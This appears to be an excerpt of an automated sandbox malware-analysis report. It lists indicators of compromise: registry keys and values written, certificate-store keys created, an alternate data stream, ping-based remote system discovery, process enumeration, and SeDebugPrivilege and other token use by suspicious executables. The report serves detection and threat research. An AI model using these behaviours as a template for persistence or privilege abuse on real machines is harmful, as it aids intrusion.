Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	a6oZjCmUSAZfJyCwEfurrdC5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	a6oZjCmUSAZfJyCwEfurrdC5.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdgeCP.exesvchost.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exerundll32.exeMicrosoftEdgeCP.exesvchost.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}\1 = "6096"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "268435456"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DOMStorage	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\AllComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn = "{68EA7E8D-2A30-4A47-8BB8-93F252543915}"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\UUID = "{2F9F2358-35B2-4AE4-B697-0607B5006C0F}"	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EL1681II-FO1F-AN2G-81K3-DNI5R86H5R6K}	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify.	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = e5f6152db47dd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OpenSearch	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 89684542b47dd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListFirstRun = "3"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}\1 = "4640"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Rating Prompt Shown = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B72164C = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 01000000cbecde8563c4d06b8559047eec45bebafb7c422cc7e38f9b708b49117400a7f7725d9f7668127409978fecef4c2520df528780d90d31a444bc7edc830b91	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings	MicrosoftEdgeCP.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{IY7880QH-GQ0R-SG6F-75Z5-PGQ2S76C3D6F}\7289246C77593EBF	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{IY7880QH-GQ0R-SG6F-75Z5-PGQ2S76C3D6F}\7289246C77593EBF\2 = "1"	svchost.exe

NTFS ADS 2 IoCs

Processes:

1579.exe

description	ioc	process
File created	C:\ProgramData\7Q9YWIV3E5EG54V1.exe:Zone.Identifier	1579.exe
File opened for modification	C:\ProgramData\7Q9YWIV3E5EG54V1.exe:Zone.Identifier	1579.exe

Runs .reg file with regedit 2 IoCs

Processes:

regedit.exeregedit.exe

pid process

5588 regedit.exe
5352 regedit.exe
Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXE

pid process

5948 PING.EXE
3896 PING.EXE

pid	process
5588	regedit.exe
5352	regedit.exe

pid	process
5948	PING.EXE
3896	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

arnatic_2.exerundll32.exesvchost.exeWerFault.exe

pid	process
3648	arnatic_2.exe
3648	arnatic_2.exe
4164	rundll32.exe
4164	rundll32.exe
2296	svchost.exe
2296	svchost.exe
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3052
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3336	WerFault.exe
3052
3052
3336	WerFault.exe
3336	WerFault.exe
3052
3052
3052
3052

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3052
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

arnatic_2.exeMicrosoftEdgeCP.exe

pid process

3648 arnatic_2.exe
6044 MicrosoftEdgeCP.exe
6044 MicrosoftEdgeCP.exe

pid	process
3052

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

arnatic_4.exearnatic_6.exerundll32.exesvchost.exe8854983.exesvchost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1856	arnatic_4.exe
Token: SeDebugPrivilege	2820	arnatic_6.exe
Token: SeDebugPrivilege	4164	rundll32.exe
Token: SeDebugPrivilege	2296	svchost.exe
Token: SeDebugPrivilege	4164	rundll32.exe
Token: SeDebugPrivilege	4164	rundll32.exe
Token: SeDebugPrivilege	4164	rundll32.exe
Token: SeDebugPrivilege	4164	rundll32.exe
Token: SeDebugPrivilege	4164	rundll32.exe
Token: SeDebugPrivilege	4164	rundll32.exe
Token: SeDebugPrivilege	4164	rundll32.exe
Token: SeDebugPrivilege	4448	8854983.exe
Token: SeDebugPrivilege	4164	rundll32.exe
Token: SeShutdownPrivilege	3052
Token: SeCreatePagefilePrivilege	3052
Token: SeShutdownPrivilege	3052
Token: SeCreatePagefilePrivilege	3052
Token: SeShutdownPrivilege	3052
Token: SeCreatePagefilePrivilege	3052
Token: SeDebugPrivilege	4164	rundll32.exe
Token: SeShutdownPrivilege	3052
Token: SeCreatePagefilePrivilege	3052
Token: SeDebugPrivilege	4164	rundll32.exe
Token: SeDebugPrivilege	4164	rundll32.exe
Token: SeAuditPrivilege	2448	svchost.exe
Token: SeDebugPrivilege	4164	rundll32.exe
Token: SeAuditPrivilege	2448	svchost.exe
Token: SeAuditPrivilege	2448	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2676	svchost.exe
Token: SeIncreaseQuotaPrivilege	2676	svchost.exe
Token: SeSecurityPrivilege	2676	svchost.exe
Token: SeTakeOwnershipPrivilege	2676	svchost.exe
Token: SeLoadDriverPrivilege	2676	svchost.exe
Token: SeSystemtimePrivilege	2676	svchost.exe
Token: SeBackupPrivilege	2676	svchost.exe
Token: SeRestorePrivilege	2676	svchost.exe
Token: SeShutdownPrivilege	2676	svchost.exe
Token: SeSystemEnvironmentPrivilege	2676	svchost.exe
Token: SeUndockPrivilege	2676	svchost.exe
Token: SeManageVolumePrivilege	2676	svchost.exe
Token: SeShutdownPrivilege	3052
Token: SeCreatePagefilePrivilege	3052
Token: SeShutdownPrivilege	3052
Token: SeCreatePagefilePrivilege	3052
Token: SeShutdownPrivilege	3052
Token: SeCreatePagefilePrivilege	3052
Token: SeAuditPrivilege	2448	svchost.exe
Token: SeAuditPrivilege	2448	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2676	svchost.exe
Token: SeIncreaseQuotaPrivilege	2676	svchost.exe
Token: SeSecurityPrivilege	2676	svchost.exe
Token: SeTakeOwnershipPrivilege	2676	svchost.exe
Token: SeLoadDriverPrivilege	2676	svchost.exe
Token: SeSystemtimePrivilege	2676	svchost.exe
Token: SeBackupPrivilege	2676	svchost.exe
Token: SeRestorePrivilege	2676	svchost.exe
Token: SeShutdownPrivilege	2676	svchost.exe
Token: SeSystemEnvironmentPrivilege	2676	svchost.exe
Token: SeUndockPrivilege	2676	svchost.exe
Token: SeManageVolumePrivilege	2676	svchost.exe
